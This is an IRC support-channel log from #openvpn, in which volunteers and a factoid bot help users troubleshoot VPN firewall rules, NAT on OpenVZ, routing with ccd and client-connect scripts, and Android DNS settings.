22:59 <@EugeneKay> ^ follow the chart. You've already got the first bit working ;-)
23:01 < sailerboy> EugeneKay, according to the chart, I've got some sort of firewall issue
23:01 < sailerboy> now what?
23:01 <@EugeneKay> !iptables
23:01 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just
23:01 <@vpnHelper> the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
23:01 < sailerboy> This is the output for iptables -L: http://sprunge.us/AEAL and for iptables -t nat -L: http://sprunge.us/hIfH
23:02 < sailerboy> I'm 99% sure iptables isn't my problem
23:03 <@EugeneKay> That's just the nat table ;-). `iptables-save`
23:04 < sailerboy> EugeneKay, http://sprunge.us/CZOa
23:04 <@EugeneKay> This is a VZ server?
23:04 < sailerboy> yup
23:04 <@EugeneKay> !linnat
23:04 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
23:04 <@EugeneKay> !openvzlinnat
23:04 <@vpnHelper> "openvzlinnat" is since openvz cant do NAT inside containers, use iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination <container.ip>
23:05 < sailerboy> taht's what I've done yes
23:05 <@EugeneKay> I believe that has to be done on the host
23:05 < sailerboy> I've doen the first one
23:05 < sailerboy> um
23:05 < sailerboy> I'll try the second one
23:07 <@EugeneKay> A lot of things don't play well with VZ, because VZ is not virtualization. It's chroot on steroids.
23:07 <@EugeneKay> The general purpose solution is to not use VZ
23:07 < sailerboy> EugeneKay, unfortunetly, that's not an option. This worked fine with KVM, but the KVM was too expensive for me
23:08 < sailerboy> and openvz works fine with everything lese
23:08 <@EugeneKay> !refund
23:08 < sailerboy> else*
23:08 <@vpnHelper> "refund" is If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of the purchase price and are invited to use another VPN solution. Elsewhere.
23:08 < sailerboy> lol
23:08 <@EugeneKay> ;-)
23:08 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
23:08 < sailerboy> no, I know this is possible, since other people with the same host have gotten it to work
23:08 < sailerboy> they just refuse to tell me how
23:09 <@EugeneKay> I don't doubt it, butthe need to use host hacks is indicative of a shitty technology
23:09 <@EugeneKay> I prefer ESXi, or Xen if you're cheap.
23:09 < sailerboy> yea, still no dice
23:10 <@EugeneKay> I suggest a drink.
23:10 < sailerboy> EugeneKay, it's easter though
23:10 < sailerboy> lol
23:11 <@EugeneKay> The zombies are coming
23:11 < sailerboy> EugeneKay, seriously though
23:11 <@EugeneKay> I am being serious
23:12 -!- murph [~murph@99-4-166-43.lightspeed.caryil.sbcglobal.net] has quit [Ping timeout: 258 seconds]
23:12 < sailerboy> there's gotta be something else?
23:12 < sailerboy> something that I'm missing entirely
23:12 <@EugeneKay> I honestly don't know; I'm not a VZian. Sorry.
23:15 -!- sailerboy_ [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has joined #openvpn
23:15 < sailerboy_> dammit
23:16 < sailerboy_> did anyone say anything since <EugeneKay> I honestly don't know; I'm not a VZian. Sorry.
23:16 <@EugeneKay> Nope.
23:16 < sailerboy_> ok
23:17 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
23:17 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has quit [Ping timeout: 245 seconds]
23:19 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has joined #openvpn
23:23 -!- sailerboy_ [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has quit [Ping timeout: 256 seconds]
23:28 < CygniX> I have a couple IPs, and I want to have the server running on both.  Do I add two line with 'local xxx.xxx.xxx.xxx' ?
23:29 < CygniX> on the server.conf file
23:29 < sailerboy> EugeneKay, I fixed it
23:30 < sailerboy> just fyi, I did a derpy thing, where I left all my client.confs in /etc/openvpn
23:30 < sailerboy> once I removed them, it worked fine!
23:30 <@EugeneKay> ;-)
23:30 < sailerboy> so I suppose that's one more step you can add to your troubleshooting repertoire ;)
23:31 <@EugeneKay> That falls under PEBKAC
23:32 <@EugeneKay> CygniX - leave it unbound
23:32 <@EugeneKay> CygniX - it'll bind to "all IPs"
23:33 < CygniX> EugeneKay: I can only connect with one IP
23:33 < CygniX> When I try the second IP, it fails
23:38 < CygniX> My system looks like this:
23:38 < CygniX>    inet XXX.XXX.XXX.XXX/32 scope global venet0:0
23:39 < CygniX>    inet XXX.XXX.XX.XXX/32 scope global venet0:1
23:41 < CygniX> I can connect to the vpn server with IP address at venet0:0  but not the other
23:47 <@EugeneKay> !redact
23:47 <@vpnHelper> "redact" is Please don't redact or change things(hostname, port, CNs, etc) when you !paste your !configs and !logs. It's a lot easier for us to debug if we're seeing the same thing you are.
23:47 <@EugeneKay> !configs
23:47 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
23:48 < CygniX> I just remove the IPs
23:48 <@EugeneKay> Don't care
23:48 <@EugeneKay> !topsecret
23:48 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
23:53 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
23:56 -!- CygniX [~CygniX@unaffiliated/twois10] has left #openvpn ["Konversation terminated!"]
--- Day changed Mon Apr 01 2013
00:09 < sailerboy> EugeneKay, I'm having trouble saturating my pipe with openvpn
00:09 < sailerboy> are there any preformance optimizations I can do?
00:12 <@EugeneKay> !gigabit
00:12 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
00:13 < sailerboy> you have a factoid for everything don't you?
00:13 <@EugeneKay> !EugeneKay
00:13 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
00:14 < sailerboy> EugeneKay, I got my girlfriend pregnant and her parents are ex-military snipers and they almost shot my head off. I'm currently on the run. What do I do?
00:14 <@EugeneKay> !beer
00:14 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
00:15 < sailerboy> lol
00:23 < sailerboy> EugeneKay, I'm able to saturate the download pipe with that guide, but the upload still is the same absymal speed
00:23 <@EugeneKay> I've never had a problem with it, but I know there are tuning parameters to fiddle with
00:24 < sailerboy> i guess in the grand scheme of things it's not a huge deal
00:24 < sailerboy> but still
00:26 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
00:30 < sailerboy> I suppose it's near as makes no difference anyway
00:32 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 256 seconds]
00:42 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
00:53 -!- xbanux [~xbanux@115.254.75.113] has quit [Read error: Connection reset by peer]
00:53 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
00:56 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
01:01 < sailerboy> EugeneKay, I have one more question, and then I'm done
01:02 < sailerboy> Google for some reason seems to think I'm in malaysia when I connect to my vps through openvpn
01:02 < sailerboy> what the actual fuck?
01:02 < sailerboy> lol
01:02 < sailerboy> maxmind resolves my vps as being in california
01:03 <@EugeneKay> GeoIP databasess are a hell of a drug.
01:04 < sailerboy> lol
01:04 < sailerboy> still though
01:04 < sailerboy> maxmind resolves it as california
01:05 < sailerboy> which is where it is
01:08 < sailerboy> EugeneKay, is this a known bug?
01:09 <@EugeneKay> It has nothing to do with openvpn at all
01:09 <@EugeneKay> Bitch to Google.
01:09 < sailerboy> they don't seem to have a bitching line
01:14 <@EugeneKay> Then you're boned.
01:17 < sailerboy> well, I could bitch here
01:17 < sailerboy> until I get muted or banned
01:17 < sailerboy> that would work, wouldn't it?
01:25 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
01:30 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
01:33 < me0615> good day.  I have problem.  I created a server and client config and they are both working when I use then on pc.  working means that client can connect to server and with connectivity.  but when I use the configuration on my android mobile, still client can connect to server but no connectivity.  what could be the problem here?
01:34 -!- me0615 [~me0615@122.2.46.76] has quit [Client Quit]
01:43 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
01:44 < me0615> sorry I was disconnected. may I ask for help on my connectivity problem. thanks
01:49 < me0615> so!
01:52 < vaillor> i have a ptp vpn with 10.8.0.1 address, why if i connect to 10.8.0.1, it won't work?
01:54 < pppingme> vaillor give your goals and more details and post configs.
01:54 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
01:59 < vaillor> pppingme: http://nopaste.info/8d4c4f47f0.html
01:59 < vaillor> it's good?
02:01 <@krzee> vaillor, and your goal?
02:01 <@krzee> me0615, i suggest looking at the logs
02:02 -!- joetole [~jetole_wo@67.205.201.243] has joined #openvpn
02:02 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has quit [Quit: q]
02:02 < pppingme> vaillor you don't have any certs or keys in your client config??
02:03 < vaillor> i have them
02:03 <@krzee> line 19 isn't valid
02:04 <@krzee> lines 32 and 33 shouldn't be there
02:04 < vaillor> why isn't valid?
02:04 <@krzee> line 26 is how you use --server
02:04 < vaillor> ok, so do i need to remove server 10.8.0.0 255.255.255.0  or server line ?
02:05 <@krzee> which did i say was not valid...?
02:05 < pppingme> 19=bad, 26=good
02:05 < pppingme> but I never got past the client config...
02:05 <@krzee> right
02:05 < vaillor> ok
02:06 <@krzee> i didn't even look before asking for the goal, since its pointless without knowing the goal
02:06 < vaillor> and 32 and 33 ?
02:07 <@krzee> how did you decide to add those?
02:07 <@krzee> saw them on some walkthrough on the web I'm guessing?
02:07 < vaillor> they are in the default configuration file
02:08 < pppingme> don't use lines 32 and 33 unless you have a specific problem you are trying to address, leave them out
02:08 < vaillor> ok
02:08 <@krzee> at best they are the defaults so not needed, at worst they don't match the other side so they aren't good
02:08 <@krzee> either way they don't help
02:09 < vaillor> ok, do i need to add keepalive 10 120 ?
02:09 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:09 < pppingme> krzee default fro tun-mtu-extra is 0 for a tun interface
02:09 <@krzee> what default config? i don't see them in the howto
02:10 < pppingme> vaillor we aren't up to keepalive yet..  that won't make or break a config.
02:10 <@krzee> and that is up to you
02:10 <@krzee> if you want a keepalive, feel free
02:11 < vaillor> sometimes client disconnects and reconnects itselve many times per minute
02:11 < pppingme> from openvpn --help:
02:11 < pppingme> --tun-mtu-extra n : Assume that tun/tap device might return as many
02:11 < pppingme>                   as n bytes more than the tun-mtu size on read
02:11 < pppingme>                   (default TUN=0 TAP=32).
02:11 <@krzee> vaillor, did you leave out part of your client config?
02:11 < pppingme> oops, thought that would stick to one line
02:11 <@krzee> ahh good thing i had him delete that =]
02:11 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Remote host closed the connection]
02:11 < me0615> @krzee, I looked at the logs but no problem. all is well just no connectivity using on android cp but on desktop pc or laptop, there is connectivity.
02:12 <@krzee> me0615,
02:12 <@krzee> !logs
02:12 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
02:12 < vaillor> krzee, yes, client part is ok
02:12 <@krzee> vaillor, no, it is not
02:12 < vaillor> why?
02:12 -!- me0615 [~me0615@122.2.46.76] has quit []
02:12 <@krzee> unless you left part of the config out, you are missing the part where you define a ca, crt, and key
02:13 <@krzee> (as pppingme mentioned above)
02:13 < joetole> Is there a way to make a openvpn server add a route when a client is connected to it?
02:14 < pppingme> joetole yeah, you can push routes
02:14 <@krzee> !push
02:14 <@vpnHelper> "push" is usage: push <command> , goes in the server config and makes the command act as if it was in the client config, can be used in ccd entries
02:14 < joetole> I can have clients push routes to the server?
02:14 < pppingme> joetole no
02:14 <@krzee> you can put the --route command in a ccd entry
02:14 <@krzee> or use --client-connect script
02:14 < joetole> ok... so is there a way to make a openvpn server add a route when a client is connected to it?
02:15 <@krzee> !client-connect
02:15 <@vpnHelper> "client-connect" is --client-connect <script>, runs script on client connection. This can be useful for generating firewall rules dynamicly, or for assigning static ips. This can do anything that a ccd (see !ccd) entry can do, but dynamicly... to use it that way, you should write your dynamic ccd commands to the file named by $1.
02:15 < joetole> if I put it the ccd then it's only run added while the client is connected and removed after it's disconnected?
02:15 < pppingme> right
02:15 <@krzee> a ccd wouldn't remove when disconnected
02:15 < vaillor> krzee, they are in xml mode
02:15 < joetole> ccd sounds better since I have a bunch of clients and want to apply it only to certain ones
02:15 <@krzee> a client-connect and client-disconnect will do whatever you say
02:15 < pppingme> the route is useless if the client isn't connected, or am I missing something you're asking?
02:15 < joetole> now one last question and btw, thanks so far
02:16 < vaillor> <ca>
02:16 < vaillor> -----BEGIN CERTIFICATE-----
02:16 < vaillor> <cert>
02:16 < vaillor> -----BEGIN CERTIFICATE-----
02:16 < pppingme> vaillor ok, so those ARE in your client config, you just stripped them?
02:16 <@krzee> vaillor, ok, you did not mention that before (unless i missed it)
02:16 < vaillor> yes
02:16 < joetole> if I set a route to a network and then have a ccd set a new route to a network, would the route I set be active until the client connects, the new route takes over after they connect and once they disconnect the original route is restored?
02:16 < pppingme> ok, important detail..
02:16 < vaillor> i don't need to show you my certs
02:17 < pppingme> no, its ok to block the certs themselves, but had the header lines been there it would have been more clear
02:17 <@krzee> we don't want to see your certs, but obviously you should mention when you leave out part of your config
02:17 < vaillor> and if i use "server" field without specifying the ip and subnet, what happens?
02:17 <@krzee> vaillor, it wonders why you didn't read the manual
02:17 < pppingme> vaillor error
02:17 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has quit [Ping timeout: 240 seconds]
02:19 < vaillor> ok, so, i removed tun-mtu 1500
02:19 < vaillor> tun-mtu-extra 32 . that's right
02:19 < vaillor> ?
02:19 < pppingme> right, bad stuff, leave it out
02:19 < vaillor> but now i have a problem
02:19 < vaillor> client disconnects and reconnects itself
02:19 < vaillor> many times
02:20 < pppingme> quickly, or after a minute or what?
02:20 <@krzee> read the logs
02:20 < vaillor> where are logs?
02:20 < vaillor> pppingme, quickly
02:20 < vaillor> disconnets an reconnects itslef
02:20 < pppingme> what os?
02:20 < vaillor> ios
02:20 < pppingme> not a clue
02:20 <@krzee> see server log
02:21 <@krzee> !logfile
02:21 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
02:23 < joetole> krzee and pppingme: ok I added the following line to ccd but the route on the server didn't change after the client connected: "route 192.168.0.0 255.255.255.0 10.4.2.2"
02:23 < joetole> this is below the only other line for the static IP for this client which is in effect
02:23 <@krzee> anything in the log?
02:24  * joetole looks
02:24 < jzaw_> mornin all
02:24 < joetole> krzee: Options error: option 'route' cannot be used in this context
02:25 < joetole> krzee: any thoughts on what that means?
02:25 <@krzee> guess you can't use route in a ccd
02:25 < joetole> oh
02:25 < joetole> heh
02:25 < joetole> ok
02:25 <@krzee> you'll have to script it
02:26 < pppingme> joetole google it for examples
02:26 -!- jzaw_ is now known as jzaw
02:26 < jzaw> strange
02:26 < joetole> pppingme: yeah I'm looking over the man page now
02:26 < pppingme> two specific things though, route x.x.x.x x.x.x.x is what the server is routing to the client, push route x.x.x.x x.x..xx is what the client will send back to the server
02:27 < jzaw> OT: why was my nick banned on dd-wrt ?
02:27 < jzaw> v strange
02:27 < pppingme> and in either case, you don't need to specify a gateway, its assumed
02:27 < pppingme> jzaw no clue, ask there
02:27 < jzaw> thats the point ... i couldnt ;
02:27 < jzaw> ;)
02:28 < jzaw> but nm
02:28 < joetole> pppingme: ok but to add the route to the server when the client connects, --client-connect is my only option?
02:28 < vaillor> http://sprunge.us/cAQB
02:28 < vaillor> server log
02:28 < pppingme> anything in ccd is only for when the client is connected
02:29 -!- xbanux [~xbanux@115.254.75.113] has quit []
02:29 < pppingme> jzaw ban list on that channel is empty, you sure you're banned?
02:30 < jzaw> my nick was for some reason my 2nd one ie jzaw_   and when i tried /nick jzaw
02:30 < jzaw> * jzaw #dd-wrt :Cannot change nickname while banned on channel
02:30 < jzaw> and whne i tried to type ...
02:31 < joetole> pppingme: yeah but it seems route can't be used in ccd
02:31 < jzaw> * #dd-wrt :Cannot send to channel
02:31 < vaillor> pppingme, what do you thing about the server log?
02:31 < jzaw> but i closed the channel restarted my xchat
02:31 < jzaw> and managed to /join
02:31 < jzaw> so alls good
02:31 < jzaw> np pppingme
02:32 < jzaw> sorry for OT
02:35 < pppingme> joetole its iroute
02:36 < joetole> pppingme: I see that but I also read iroute still needs route
02:36 < joetole> I basically have a working connection to the client when they are not connected but when they connect I want to route via vpn and fall back to the other method once disconnected
02:38 < pppingme> if you're also routing outside of openvpn, then you'll probably need to run a routing protocol
02:40 < joetole> pppingme: considered it but for now I simply want to overwrite the static route with the new route. I can have both routes since I can set a higher metric on the static route and ovpn uses a metric of 0 by default so once the ovpn route exists then it takes prio but yeah... experimenting with --client-connect now
02:41 < vaillor> so? any suggestion?
02:49 < pppingme> yeah, to accomplish that you'll have to run scripts external to openvpn most likely
02:57 < joetole> pppingme: thanks. working on it now
02:58 < pppingme> if it were me, I'd probably create simple point to point tunnels with openvpn and run a routing protocol
03:03 < joetole> for site to site, what would I lose with p2p vs. current subnet. I had looked into ospf via quagga earlier subnet seemed to present layer 2 issues
03:03 < joetole> @ pppingme
03:04 < pppingme> I run ospf just fine over openvpn p2p tunnels
03:04 < pppingme> thats how my "family net" is running
03:05 < joetole> but I mean outside of routing I want to add, what kind of other changes do I get from ptp vs. subnet? Is ptp the preferred method for site-to-site
03:06 < pppingme> joetole its my preferred method, just because it just works
03:09 < joetole> k
03:10 < pppingme> a ptp config is just a nice and simple two point network
03:10 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has joined #openvpn
03:11 < pppingme> the most important line is the ifconfig line, everything else is just keys, timeotu settings and a tun device
03:11 < joetole> well the instance I am working on right now is two points, linux firewall/nat/gateway/etc on one end and two HA linux firewall/gateway/nat/etc including ip forwarding to public subnet on the other. Am I expecting to lose anything via ptp?
03:11 -!- brute11k [~brute@89.249.231.204] has joined #openvpn
03:12 < pppingme> you're simplifying it, thats always a gain
03:13  * jzaw is following the conversation .... what are you meaning by p2p vs the *other* ?
03:13 < joetole> ptp vs. subnet
03:13 < jzaw> (sorry for the butt in)
03:14 < jzaw> ie only a single client vs the router being client and routing traffic to rest of remote lan?
03:14 < joetole> pppingme: though I did just get the client connect script working
03:14 < pppingme> using openvpn in a fashion that creates a single (not client/server) point to point connection
03:14 < pppingme> like it worked with openvpn 1.x
03:14 < vaillor> pppingme, any help please?
03:14 < joetole> yeah I remember that. /30 subnets for all
03:15 < pppingme> no
03:15 < pppingme> even simpler
03:15 < joetole> well I'll re-evaluate but it's been a long time since I used 1.x
03:15 < joetole> brb
03:16 < pppingme> the config is literally 4 lines on the server (not including optional fluff like lzo, ping-restart, and stuff like that)
03:16 < pppingme> here's all four lines:
03:16 < pppingme> port 10001; dev tun01; ifconfig 10.90.249.1 10.90.239.1; secret psksnail01.key
03:17 < pppingme> and if you are only building 1 tunnel, even the port would be optional
03:17 < pppingme> on the "client side" its pretty much identical, except it has a "remote x.x.x.x" line
03:18 < pppingme> then I just run ospf everywhere and the routing shows up
03:29 < joetole> cool
03:29 < joetole> thanks
03:29 -!- joetole [~jetole_wo@67.205.201.243] has quit [Quit: leaving]
03:29 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
03:31 <@krzee> pppingme, bird or quagga?
03:32 < pppingme> quagga
03:32 -!- [fred] [fred@konfuzi.us] has joined #openvpn
03:32 <@krzee> werd
03:32 < pppingme> I'm a cisco guy, so quagga is just more natural
03:36 -!- joetole [~jetole_wo@67.205.201.243] has joined #openvpn
03:37 < joetole> sorry I had to quit irc for a sec
03:45 -!- Orbi [~opera@anon-186-207.vpn.ipredator.se] has joined #openvpn
03:49 -!- ade_b [~Ade@koln-4d0b020b.pool.mediaWays.net] has joined #openvpn
03:49 -!- ade_b [~Ade@koln-4d0b020b.pool.mediaWays.net] has quit [Changing host]
03:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-gqcpyoadpptnhten] has quit [Ping timeout: 255 seconds]
04:14 < jzaw> krzee, can i check my routing with you ?
04:15 <@krzee> whats your goal?
04:15 < jzaw> well seemingly it works
04:15 < jzaw> i have pub ips on the client lan
04:15 < jzaw> all ipv6 traffic goes down the vpn
04:16 < jzaw> but ipv4 traffic is split ..... server lan traffic goes down the vpn ... but any other (browsing etc) goes out the nat
04:16 <@krzee> do you want ipv4 traffic redirected as well?
04:17 < jzaw> ive ip rules/tables   with MARK and CONNMARK to send traffic comming up the vpn (to the public ips of clients) back down the vpn
04:17 < jzaw> and anything coming in the nat ... goes back out the nat
04:17 < jzaw> no ... its seemingly working correctly
04:17 < jzaw> but ....
04:17 < jzaw> if you trace route or mtr -4 to fuji-pl.dzki.co.uk     and mtr -6 to same
04:18 < jzaw> the ipv6 route shows the tap0 (also a pub ip)
04:18 < jzaw> but the ipv4 route shows the nat wan ip of the client end
04:18 < jzaw> ill paste
04:19 <@krzee> you said what is happening
04:19 <@krzee> you did not say what your desired outcome it
04:19 <@krzee> is*
04:19 < jzaw> http://pastebin.com/RnZAUqMj
04:20 < jzaw> id like the confidence that im routing correctly down the vpn and not outside of it
04:20 < jzaw> the ipv4 trace seems to suggest different
04:21 < jzaw> routes on the vpn server
04:21 < jzaw> http://pastebin.com/1SBuJVwS
04:21 <@krzee> I'm too tired to stare at traceroutes
04:21 < jzaw> hehe sorry
04:22 < jzaw> different tz
04:22  * jzaw got up about 2 hours ago
04:22 <@krzee> been working on a lil chinese device all night
04:23 < jzaw> to be concise .... the second to last hop on the ipv6 shows
04:23 < jzaw> 9  tap0-pl.dzki.co.uk (2001:8b0:7:feed::2)  112.352 ms  113.550 ms  114.524 ms
04:23 < jzaw> which id expect
04:23 < jzaw> but the same second to last on the ipv4 route shows
04:23 < jzaw> 10  brama-pl.dzki.co.uk (194.117.241.72)  116.407 ms  116.169 ms  116.149 ms
04:23 < jzaw> which is the nat wan ip of the client router
04:23 < jzaw> i didnt expect that
04:25 -!- brute11k [~brute@89.249.231.204] has quit [Ping timeout: 240 seconds]
04:27 -!- brute11k [~brute@89.249.231.204] has joined #openvpn
04:28 < jzaw> http://pastebin.com/NLh7Hj5L
04:30 <@krzee> you still never said what you WANT it to be
04:30 <@krzee> is ipv4 supposed to redirect over the vpn or not?
04:37 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 258 seconds]
04:44 < jzaw> the traffic from client end to go over vpn if its server end ips but all other ipv4 traffic out the nat
04:44 < jzaw> ie split
04:44 -!- vaillor_ [~vaillor@109.114.144.88] has joined #openvpn
04:44 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
04:44 < vaillor_> krzee: News abiuro server log i nave posted?
04:44 -!- vaillor_ [~vaillor@109.114.144.88] has quit [Client Quit]
04:45 <@krzee> !dupe
04:45 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
04:45 <@krzee> @ vaillor ^
04:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
04:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
04:48 -!- mode/#openvpn [+o plaisthos] by ChanServ
05:01 -!- brute11k [~brute@89.249.231.204] has quit [Ping timeout: 245 seconds]
05:01 -!- brute11k [~brute@89.249.231.204] has joined #openvpn
05:20 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
05:20 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
05:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:22 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
05:22 -!- joetole [~jetole_wo@67.205.201.243] has quit [Quit: leaving]
05:24 -!- mistik1 [~mistik1@184.170.12.239] has quit [Ping timeout: 245 seconds]
05:25 -!- JSharpe_ [~JSharpe@185.3.135.18] has joined #openvpn
05:26 -!- JSharpe__ [~JSharpe@5.63.151.36] has joined #openvpn
05:29 -!- JSharpe [~JSharpe@46.165.221.13] has quit [Ping timeout: 257 seconds]
05:30 -!- JSharpe_ [~JSharpe@185.3.135.18] has quit [Ping timeout: 245 seconds]
05:37 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
05:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
05:40 -!- kirin` [telex@gateway/shell/anapnea.net/x-vfiyyuwmkexhiwjc] has joined #openvpn
05:40 -!- JSharpe__ [~JSharpe@5.63.151.36] has quit [Quit: Leaving]
05:44 -!- tcamuso [tcamuso@nat/redhat/x-rrqlrafzkmfzvfvo] has joined #openvpn
05:45 -!- kirin` [telex@gateway/shell/anapnea.net/x-vfiyyuwmkexhiwjc] has quit [Ping timeout: 256 seconds]
05:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-miqymwynzlwxrgpn] has joined #openvpn
05:51 -!- kirin` [telex@gateway/shell/anapnea.net/x-miqymwynzlwxrgpn] has quit [Ping timeout: 240 seconds]
05:52 -!- kirin` [telex@gateway/shell/anapnea.net/x-irxngjxzhgfgdjxu] has joined #openvpn
05:52 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
05:54 < me0615> gud day guys.  i have this config that successfully connects client to server I(in android mobile) but cannot browse using a browser.  but I can ping.
05:54 < me0615> what could be the proble?
05:54 < me0615> what could be the problem?
05:55 < me0615> does redirect-gateway def1 bypass-dns bypass-dhcp affects this?
05:57 < KrissO> likely
05:57 < KrissO> if you use redirect-gateway def1
05:57 < me0615> why?
05:57 < KrissO> then you should also push dns
05:57 < KrissO> I believe
05:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-irxngjxzhgfgdjxu] has quit [Ping timeout: 255 seconds]
05:57 < me0615> what do you mean push dns?
05:57 < KrissO> can you ping an ip only?
05:57 < me0615> yes
05:58 < KrissO> hold on
05:58 < KrissO> try adding this to your server.conf
05:58 < KrissO> push "dhcp-option DNS 8.8.8.8"
05:58 < me0615> i have that
05:58 < me0615> already
05:58 < KrissO> right
05:58 < KrissO> try to remove the bypass stuff?
05:58 < KrissO> what's that for?
05:58 < me0615> push "dhcp-option DNS 208.67.222.222"
05:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
05:59 -!- vaillor_ [~vaillor@109.114.230.219] has joined #openvpn
05:59 -!- kirin` [telex@gateway/shell/anapnea.net/x-mzsmiublxfvyxeja] has joined #openvpn
05:59 < me0615> another entry for dns
05:59 < me0615> i have 3 of those
05:59 -!- Orbi [~opera@anon-186-207.vpn.ipredator.se] has left #openvpn []
05:59 < KrissO> well i'm no expert :/
05:59 < me0615> kriss0, so i will remove that bypass stuffs?
05:59 < KrissO> me0615, well you could test
05:59 < KrissO> oh btw
06:00 < KrissO> you have push "redirect-gateway def1" right?
06:00 < me0615> anyway i dont understand that config much. can you expound base on your own understand?
06:00 < me0615> anyway i dont understand that config much. can you expound base on your own understanding?
06:00 < KrissO> expound base? no clue
06:01 < me0615> i mean what does it bypassess? which dns and dhcp does it bypasses?
06:01 < me0615> i mean base on your own understanding. what i have on the server is push "redirect-gateway def1 bypass-dhcp bypass-dns"
06:01 < KrissO> sorry I don't know
06:02 < KrissO> but if you don't know either
06:02 < KrissO> why have it there?
06:02 < me0615> i have seen somewhere in an example for server config in google.
06:03 < me0615> its working though in desktop and laptop computer but not on android mobile.
06:03 -!- master_of_master [~master_of@p4FF2484E.dip.t-dialin.net] has joined #openvpn
06:04 < KrissO> k i just read up on it in the manual. either way if you can't get something working just remove or comment out the "extra" stuff. get the basic things working first
06:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-mzsmiublxfvyxeja] has quit [Ping timeout: 246 seconds]
06:04 < KrissO> i've set up an android client to just yesterday
06:04 < KrissO> too*
06:05 < me0615> really? can you share me the server and client config so I can compare mine
06:05 < KrissO> sure no problem
06:05 -!- kirin` [telex@gateway/shell/anapnea.net/x-vbzwqbbwbzbxbhpe] has joined #openvpn
06:05 < me0615> kriss0 you are from where?
06:06 < KrissO> Oslo
06:06 < KrissO> you?
06:06 < KrissO> http://pastebin.com/s1kF8da3
06:07 < KrissO> sec
06:07 -!- master_o1_master [~master_of@p4FF24F95.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
06:08 < KrissO> http://pastebin.com/Bw0YezKq
